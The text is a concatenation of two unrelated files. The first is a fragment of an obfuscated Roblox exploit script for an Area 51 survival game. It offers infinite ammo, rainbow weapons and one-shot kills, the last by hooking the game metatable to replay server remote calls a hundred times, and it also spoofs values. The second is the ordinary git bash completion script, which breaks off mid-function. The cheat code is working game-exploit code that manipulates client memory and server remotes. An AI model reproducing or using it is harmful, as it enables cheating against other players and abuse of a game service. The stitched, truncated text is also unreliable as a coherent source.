a2,v in pairs(game:GetService("Workspace").AREA51.ElectricityRoom.PowerManager:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end end)z:NewButton("Turn-On all Traps","This turns on the all Traps..",function()for a2,v in pairs(game:GetService("Workspace").Traps:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Click"then fireclickdetector(v)end end end)z:NewButton("Repair Planks","Repairs all Planks.",function()for K,v in pairs(game:GetService("Workspace").AREA51:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Parent.Name=="Planks"then fireclickdetector(v)end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One Shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("Purchase Perks:")local z=y:NewSection("1000 Points required for some perks.")z:NewButton("Juggernog","Purchases Juggernog",function()local player=game:getService("Players").LocalPlayer;local lastPosition=player.Character.PrimaryPart.Position;for a2,v in pairs(game:GetService("Workspace").Perks.Juggernog.Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks.Juggernog.Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Speed Cola","Purchases Speed Cola",function()for a2,v in pairs(game:GetService("Workspace").Perks['Speed Cola'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Speed Cola'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Double Tap","Purchases Double Tap",function()for a2,v in pairs(game:GetService("Workspace").Perks['Double Tap'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Double Tap'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Quick Revive","Purchases Quick Revive",function()for a2,v in pairs(game:GetService("Workspace").Perks['Quick Revive'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Quick Revive'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Deadshot Daiquiri","Purchases Deadshot Daiquiri",function()k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil;for a2,v in pairs(game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)else m.Notify("Game is not supported!","Server hopping to Main Menu","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})wait(0.24)game:GetService('TeleportService'):Teleport(155382109,game.Players.LocalPlayer)end
questionmark1122
#!bash # # bash completion support for core Git. # # Copyright (C) 2006,2007 Shawn O. Pearce <spearce@spearce.org> # Conceptually based on gitcompletion (http://gitweb.hawaga.org.uk/). # Distributed under the GNU General Public License, version 2.0. # # The contained completion routines provide support for completing: # # *) local and remote branch names # *) local and remote tag names # *) .git/remotes file names # *) git 'subcommands' # *) tree paths within 'ref:path/to/file' expressions # *) common --long-options # # To use these routines: # # 1) Copy this file to somewhere (e.g. ~/.git-completion.sh). # 2) Added the following line to your .bashrc: # source ~/.git-completion.sh # # 3) Consider changing your PS1 to also show the current branch: # PS1='[\u@\h \W$(__git_ps1 " (%s)")]\$ ' # # The argument to __git_ps1 will be displayed only if you # are currently in a git repository. The %s token will be # the name of the current branch. # # In addition, if you set GIT_PS1_SHOWDIRTYSTATE to a nonempty # value, unstaged (*) and staged (+) changes will be shown next # to the branch name. You can configure this per-repository # with the bash.showDirtyState variable, which defaults to true # once GIT_PS1_SHOWDIRTYSTATE is enabled. # # You can also see if currently something is stashed, by setting # GIT_PS1_SHOWSTASHSTATE to a nonempty value. If something is stashed, # then a '$' will be shown next to the branch name. # # If you would like to see if there're untracked files, then you can # set GIT_PS1_SHOWUNTRACKEDFILES to a nonempty value. If there're # untracked files, then a '%' will be shown next to the branch name. # # If you would like to see the difference between HEAD and its # upstream, set GIT_PS1_SHOWUPSTREAM="auto". A "<" indicates # you are behind, ">" indicates you are ahead, and "<>" # indicates you have diverged. You can further control # behaviour by setting GIT_PS1_SHOWUPSTREAM to a space-separated # list of values: # verbose show number of commits ahead/behind (+/-) upstream # legacy don't use the '--count' option available in recent # versions of git-rev-list # git always compare HEAD to @{upstream} # svn always compare HEAD to your SVN upstream # By default, __git_ps1 will compare HEAD to your SVN upstream # if it can find one, or @{upstream} otherwise. Once you have # set GIT_PS1_SHOWUPSTREAM, you can override it on a # per-repository basis by setting the bash.showUpstream config # variable. # # # To submit patches: # # *) Read Documentation/SubmittingPatches # *) Send all patches to the current maintainer: # # "Shawn O. Pearce" <spearce@spearce.org> # # *) Always CC the Git mailing list: # # git@vger.kernel.org # case "$COMP_WORDBREAKS" in *:*) : great ;; *) COMP_WORDBREAKS="$COMP_WORDBREAKS:" esac # __gitdir accepts 0 or 1 arguments (i.e., location) # returns location of .git repo __gitdir () { if [ -z "${1-}" ]; then if [ -n "${__git_dir-}" ]; then echo "$__git_dir" elif [ -d .git ]; then echo .git else git rev-parse --git-dir 2>/dev/null fi elif [ -d "$1/.git" ]; then echo "$1/.git" else echo "$1" fi } # stores the divergence from upstream in $p # used by GIT_PS1_SHOWUPSTREAM __git_ps1_show_upstream () { local key value local svn_remote=() svn_url_pattern count n local upstream=git legacy="" verbose="" # get some config options from git-config while read key value; do case "$key" in bash.showupstream) GIT_PS1_SHOWUPSTREAM="$value" if [[ -z "${GIT_PS1_SHOWUPSTREAM}" ]]; then p="" return fi ;; svn-remote.*.url) svn_remote[ $((${#svn_remote[@]} + 1)) ]="$value" svn_url_pattern+="\\|$value" upstream=svn+git # default upstream is SVN if available, else git ;; esac done < <(git config -z --get-regexp '^(svn-remote\..*\.url|bash\.showupstream)$' 2>/dev/null | tr '\0\n' '\n ') # parse configuration values for option in ${GIT_PS1_SHOWUPSTREAM}; do case "$option" in git|svn) upstream="$option" ;; verbose) verbose=1 ;; legacy) legacy=1 ;; esac done # Find our upstream case "$upstream" in git) upstream="@{upstream}" ;; svn*) # get the upstream from the "git-svn-id: ..." in a commit message # (git-svn uses essentially the same procedure internally) local svn_upstream=($(git log --first-parent -1 \ --grep="^git-svn-id: \(${svn_url_pattern:2}\)" 2>/dev/null)) if [[ 0 -ne ${#svn_upstream[@]} ]]; then svn_upstream=${svn_upstream[ ${#svn_upstream[@]} - 2 ]} svn_upstream=${svn_upstream%@*} for ((n=1; "$n" <= "${#svn_remote[@]}"; ++n)); do svn_upstream=${svn_upstream#${svn_remote[$n]}} done if [[ -z "$svn_upstream" ]]; then # default branch name for checkouts with no layout: upstream=${GIT_SVN_ID:-git-svn} else upstream=${svn_upstream#/} fi elif [[ "svn+git" = "$upstream" ]]; then upstream="@{upstream}" fi ;; esac # Find how many commits we are ahead/behind our upstream if [[ -z "$legacy" ]]; then count="$(git rev-list --count --left-right \ "$upstream"...HEAD 2>/dev/null)" else # produce equivalent output to --count for older versions of git local commits if commits="$(git rev-list --left-right "$upstream"...HEAD 2>/dev/null)" then local commit behind=0 ahead=0 for commit in $commits do case "$commit" in "<"*) let ++behind ;; *) let ++ahead ;; esac done count="$behind $ahead" else count="" fi fi # calculate the result if [[ -z "$verbose" ]]; then case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p="=" ;; "0 "*) # ahead of upstream p=">" ;; *" 0") # behind upstream p="<" ;; *) # diverged from upstream p="<>" ;; esac else case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p=" u=" ;; "0 "*) # ahead of upstream p=" u+${count#0 }" ;; *" 0") # behind upstream p=" u-${count% 0}" ;; *) # diverged from upstream p=" u+${count#* }-${count% *}" ;; esac fi } # __git_ps1 accepts 0 or 1 arguments (i.e., format string) # returns text to add to bash PS1 prompt (includes branch name) __git_ps1 () { local g="$(__gitdir)" if [ -n "$g" ]; then local r="" local b="" if [ -f "$g/rebase-merge/interactive" ]; then r="|REBASE-i" b="$(cat "$g/rebase-merge/head-name")" elif [ -d "$g/rebase-merge" ]; then r="|REBASE-m" b="$(cat "$g/rebase-merge/head-name")" else if [ -d "$g/rebase-apply" ]; then if [ -f "$g/rebase-apply/rebasing" ]; then r="|REBASE" elif [ -f "$g/rebase-apply/applying" ]; then r="|AM" else r="|AM/REBASE" fi elif [ -f "$g/MERGE_HEAD" ]; then r="|MERGING" elif [ -f "$g/BISECT_LOG" ]; then r="|BISECTING" fi b="$(git symbolic-ref HEAD 2>/dev/null)" || { b="$( case "${GIT_PS1_DESCRIBE_STYLE-}" in (contains) git describe --contains HEAD ;; (branch) git describe --contains --all HEAD ;; (describe) git describe HEAD ;; (* | default) git describe --exact-match HEAD ;; esac 2>/dev/null)" || b="$(cut -c1-7 "$g/HEAD" 2>/dev/null)..." || b="unknown" b="($b)" } fi local w="" local i="" local s="" local u="" local c="" local p="" if [ "true" = "$(git rev-parse --is-inside-git-dir 2>/dev/null)" ]; then if [ "true" = "$(git rev-parse --is-bare-repository 2>/dev/null)" ]; then c="BARE:" else b="GIT_DIR!" fi elif [ "true" = "$(git rev-parse --is-inside-work-tree 2>/dev/null)" ]; then if [ -n "${GIT_PS1_SHOWDIRTYSTATE-}" ]; then if [ "$(git config --bool bash.showDirtyState)" != "false" ]; then git diff --no-ext-diff --quiet --exit-code || w="*" if git rev-parse --quiet --verify HEAD >/dev/null; then git diff-index --cached --quiet HEAD -- || i="+" else i="#" fi fi fi if [ -n "${GIT_PS1_SHOWSTASHSTATE-}" ]; then git rev-parse --verify refs/stash >/dev/null 2>&1 && s="$" fi if [ -n "${GIT_PS1_SHOWUNTRACKEDFILES-}" ]; then if [ -n "$(git ls-files --others --exclude-standard)" ]; then u="%" fi fi if [ -n "${GIT_PS1_SHOWUPSTREAM-}" ]; then __git_ps1_show_upstream fi fi local f="$w$i$s$u" printf "${1:- (%s)}" "$c${b##refs/heads/}${f:+ $f}$r$p" fi } # __gitcomp_1 requires 2 arguments __gitcomp_1 () { local c IFS=' '$'\t'$'\n' for c in $1; do case "$c$2" in --*=*) printf %s$'\n' "$c$2" ;; *.) printf %s$'\n' "$c$2" ;; *) printf %s$'\n' "$c$2 " ;; esac done } # __gitcomp accepts 1, 2, 3, or 4 arguments # generates completion reply with compgen __gitcomp () { local cur="${COMP_WORDS[COMP_CWORD]}" if [ $# -gt 2 ]; then cur="$3" fi case "$cur" in --*=) COMPREPLY=() ;; *) local IFS=$'\n' COMPREPLY=($(compgen -P "${2-}" \ -W "$(__gitcomp_1 "${1-}" "${4-}")" \ -- "$cur")) ;; esac } # __git_heads accepts 0 or 1 arguments (to pass to __gitdir) __git_heads () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/heads return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_tags accepts 0 or 1 arguments (to pass to __gitdir) __git_tags () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/tags return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs accepts 0 or 1 arguments (to pass to __gitdir) __git_refs () { local i is_hash=y dir="$(__gitdir "${1-}")" local cur="${COMP_WORDS[COMP_CWORD]}" format refs if [ -d "$dir" ]; then case "$cur" in refs|refs/*) format="refname" refs="${cur%/*}" ;; *) for i in HEAD FETCH_HEAD ORIG_HEAD MERGE_HEAD; do if [ -e "$dir/$i" ]; then echo $i; fi done format="refname:short" refs="refs/tags refs/heads refs/remotes" ;; esac git --git-dir="$dir" for-each-ref --format="%($format)" \ $refs return fi for i in $(git ls-remote "$dir" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,refs/remotes/*) is_hash=y; echo "${i#refs/remotes/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs2 requires 1 argument (to pass to __git_refs) __git_refs2 () { local i for i in $(__git_refs "$1"); do echo "$i:$i" done } # __git_refs_remotes requires 1 argument (to pass to ls-remote) __git_refs_remotes () { local cmd i is_hash=y for i in $(git ls-remote "$1" 2>/dev/null); do case "$is_hash,$i" in n,refs/heads/*) is_hash=y echo "$i:refs/remotes/$1/${i#refs/heads/}" ;; y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y;; n,*) is_hash=y; ;; esac done } __git_remotes () { local i ngoff IFS=$'\n' d="$(__gitdir)" shopt -q nullglob || ngoff=1 shopt -s nullglob for i in "$d/remotes"/*; do echo ${i#$d/remotes/} done [ "$ngoff" ] && shopt -u nullglob for i in $(git --git-dir="$d" config --get-regexp 'remote\..*\.url' 2>/dev/null); do i="${i#remote.}" echo "${i/.url*/}" done } __git_list_merge_strategies () { git merge -s help 2>&1 | sed -n -e '/[Aa]vailable strategies are: /,/^$/{ s/\.$// s/.*:// s/^[ ]*// s/[ ]*$// p }' } __git_merge_strategies= # 'git merge -s help' (and thus detection of the merge strategy # list) fails, unfortunately, if run outside of any git working # tree. __git_merge_strategies is set to the empty string in # that case, and the detection will be repeated the next time it # is needed. __git_compute_merge_strategies () { : ${__git_merge_strategies:=$(__git_list_merge_strategies)} } __git_complete_file () { local pfx ls ref cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in ?*:*) ref="${cur%%:*}" cur="${cur#*:}" case "$cur" in ?*/*) pfx="${cur%/*}" cur="${cur##*/}" ls="$ref:$pfx" pfx="$pfx/" ;; *) ls="$ref" ;; esac case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="$ref:$pfx" ;; esac local IFS=$'\n' COMPREPLY=($(compgen -P "$pfx" \ -W "$(git --git-dir="$(__gitdir)" ls-tree "$ls" \ | sed '/^100... blob /{ s,^.* ,, s,$, , } /^120000 blob /{ s,^.* ,, s,$, , } /^040000 tree /{ s,^.* ,, s,$,/, } s/^.* //')" \ -- "$cur")) ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_revlist () { local pfx cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in *...*) pfx="${cur%...*}..." cur="${cur#*...}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *..*) pfx="${cur%..*}.." cur="${cur#*..}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_remote_or_refspec () { local cmd="${COMP_WORDS[1]}" local cur="${COMP_WORDS[COMP_CWORD]}" local i c=2 remote="" pfx="" lhs=1 no_complete_refspec=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --mirror) [ "$cmd" = "push" ] && no_complete_refspec=1 ;; --all) case "$cmd" in push) no_complete_refspec=1 ;; fetch) COMPREPLY=() return ;; *) ;; esac ;; -*) ;; *) remote="$i"; break ;; esac c=$((++c)) done if [ -z "$remote" ]; then __gitcomp "$(__git_remotes)" return fi if [ $no_complete_refspec = 1 ]; then COMPREPLY=() return fi [ "$remote" = "." ] && remote= case "$cur" in *:*) case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="${cur%%:*}:" ;; esac cur="${cur#*:}" lhs=0 ;; +*) pfx="+" cur="${cur#+}" ;; esac case "$cmd" in fetch) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs2 "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; pull) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; push) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs)" "$pfx" "$cur" else __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" fi ;; esac } __git_complete_strategy () { __git_compute_merge_strategies case "${COMP_WORDS[COMP_CWORD-1]}" in -s|--strategy) __gitcomp "$__git_merge_strategies" return 0 esac local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --strategy=*) __gitcomp "$__git_merge_strategies" "" "${cur##--strategy=}" return 0 ;; esac return 1 } __git_list_all_commands () { local i IFS=" "$'\n' for i in $(git help -a|egrep '^ [a-zA-Z0-9]') do case $i in *--*) : helper pattern;; *) echo $i;; esac done } __git_all_commands= __git_compute_all_commands () { : ${__git_all_commands:=$(__git_list_all_commands)} } __git_list_porcelain_commands () { local i IFS=" "$'\n' __git_compute_all_commands for i in "help" $__git_all_commands do case $i in *--*) : helper pattern;; applymbox) : ask gittus;; applypatch) : ask gittus;; archimport) : import;; cat-file) : plumbing;; check-attr) : plumbing;; check-ref-format) : plumbing;; checkout-index) : plumbing;; commit-tree) : plumbing;; count-objects) : infrequent;; cvsexportcommit) : export;; cvsimport) : import;; cvsserver) : daemon;; daemon) : daemon;; diff-files) : plumbing;; diff-index) : plumbing;; diff-tree) : plumbing;; fast-import) : import;; fast-export) : export;; fsck-objects) : plumbing;; fetch-pack) : plumbing;; fmt-merge-msg) : plumbing;; for-each-ref) : plumbing;; hash-object) : plumbing;; http-*) : transport;; index-pack) : plumbing;; init-db) : deprecated;; local-fetch) : plumbing;; lost-found) : infrequent;; ls-files) : plumbing;; ls-remote) : plumbing;; ls-tree) : plumbing;; mailinfo) : plumbing;; mailsplit) : plumbing;; merge-*) : plumbing;; mktree) : plumbing;; mktag) : plumbing;; pack-objects) : plumbing;; pack-redundant) : plumbing;; pack-refs) : plumbing;; parse-remote) : plumbing;; patch-id) : plumbing;; peek-remote) : plumbing;; prune) : plumbing;; prune-packed) : plumbing;; quiltimport) : import;; read-tree) : plumbing;; receive-pack) : plumbing;; reflog) : plumbing;; remote-*) : transport;; repo-config) : deprecated;; rerere) : plumbing;; rev-list) : plumbing;; rev-parse) : plumbing;; runstatus) : plumbing;; sh-setup) : internal;; shell) : daemon;; show-ref) : plumbing;; send-pack) : plumbing;; show-index) : plumbing;; ssh-*) : transport;; stripspace) : plumbing;; symbolic-ref) : plumbing;; tar-tree) : deprecated;; unpack-file) : plumbing;; unpack-objects) : plumbing;; update-index) : plumbing;; update-ref) : plumbing;; update-server-info) : daemon;; upload-archive) : plumbing;; upload-pack) : plumbing;; write-tree) : plumbing;; var) : infrequent;; verify-pack) : infrequent;; verify-tag) : plumbing;; *) echo $i;; esac done } __git_porcelain_commands= __git_compute_porcelain_commands () { __git_compute_all_commands : ${__git_porcelain_commands:=$(__git_list_porcelain_commands)} } __git_aliases () { local i IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "alias\..*" 2>/dev/null); do case "$i" in alias.*) i="${i#alias.}" echo "${i/ */}" ;; esac done } # __git_aliased_command requires 1 argument __git_aliased_command () { local word cmdline=$(git --git-dir="$(__gitdir)" \ config --get "alias.$1") for word in $cmdline; do case "$word" in \!gitk|gitk) echo "gitk" return ;; \!*) : shell command alias ;; -*) : option ;; *=*) : setting env ;; git) : git itself ;; *) echo "$word" return esac done } # __git_find_on_cmdline requires 1 argument __git_find_on_cmdline () { local word subcommand c=1 while [ $c -lt $COMP_CWORD ]; do word="${COMP_WORDS[c]}" for subcommand in $1; do if [ "$subcommand" = "$word" ]; then echo "$subcommand" return fi done c=$((++c)) done } __git_has_doubledash () { local c=1 while [ $c -lt $COMP_CWORD ]; do if [ "--" = "${COMP_WORDS[c]}" ]; then return 0 fi c=$((++c)) done return 1 } __git_whitespacelist="nowarn warn error error-all fix" _git_am () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ]; then __gitcomp "--skip --continue --resolved --abort" return fi case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --3way --committer-date-is-author-date --ignore-date --ignore-whitespace --ignore-space-change --interactive --keep --no-utf8 --signoff --utf8 --whitespace= --scissors " return esac COMPREPLY=() } _git_apply () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --stat --numstat --summary --check --index --cached --index-info --reverse --reject --unidiff-zero --apply --no-add --exclude= --ignore-whitespace --ignore-space-change --whitespace= --inaccurate-eof --verbose " return esac COMPREPLY=() } _git_add () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --interactive --refresh --patch --update --dry-run --ignore-errors --intent-to-add " return esac COMPREPLY=() } _git_archive () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --format=*) __gitcomp "$(git archive --list)" "" "${cur##--format=}" return ;; --remote=*) __gitcomp "$(__git_remotes)" "" "${cur##--remote=}" return ;; --*) __gitcomp " --format= --list --verbose --prefix= --remote= --exec= " return ;; esac __git_complete_file } _git_bisect () { __git_has_doubledash && return local subcommands="start bad good skip reset visualize replay log run" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in bad|good|reset|skip) __gitcomp "$(__git_refs)" ;; *) COMPREPLY=() ;; esac } _git_branch () { local i c=1 only_local_ref="n" has_r="n" while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-m) only_local_ref="y" ;; -r) has_r="y" ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --color --no-color --verbose --abbrev= --no-abbrev --track --no-track --contains --merged --no-merged --set-upstream " ;; *) if [ $only_local_ref = "y" -a $has_r = "n" ]; then __gitcomp "$(__git_heads)" else __gitcomp "$(__git_refs)" fi ;; esac } _git_bundle () { local cmd="${COMP_WORDS[2]}" case "$COMP_CWORD" in 2) __gitcomp "create list-heads verify unbundle" ;; 3) # looking for a file ;; *) case "$cmd" in create) __git_complete_revlist ;; esac ;; esac } _git_checkout () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --conflict=*) __gitcomp "diff3 merge" "" "${cur##--conflict=}" ;; --*) __gitcomp " --quiet --ours --theirs --track --no-track --merge --conflict= --orphan --patch " ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_cherry () { __gitcomp "$(__git_refs)" } _git_cherry_pick () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --no-commit" ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_clean () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--dry-run --quiet" return ;; esac COMPREPLY=() } _git_clone () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --local --no-hardlinks --shared --reference --quiet --no-checkout --bare --mirror --origin --upload-pack --template= --depth " return ;; esac COMPREPLY=() } _git_commit () { 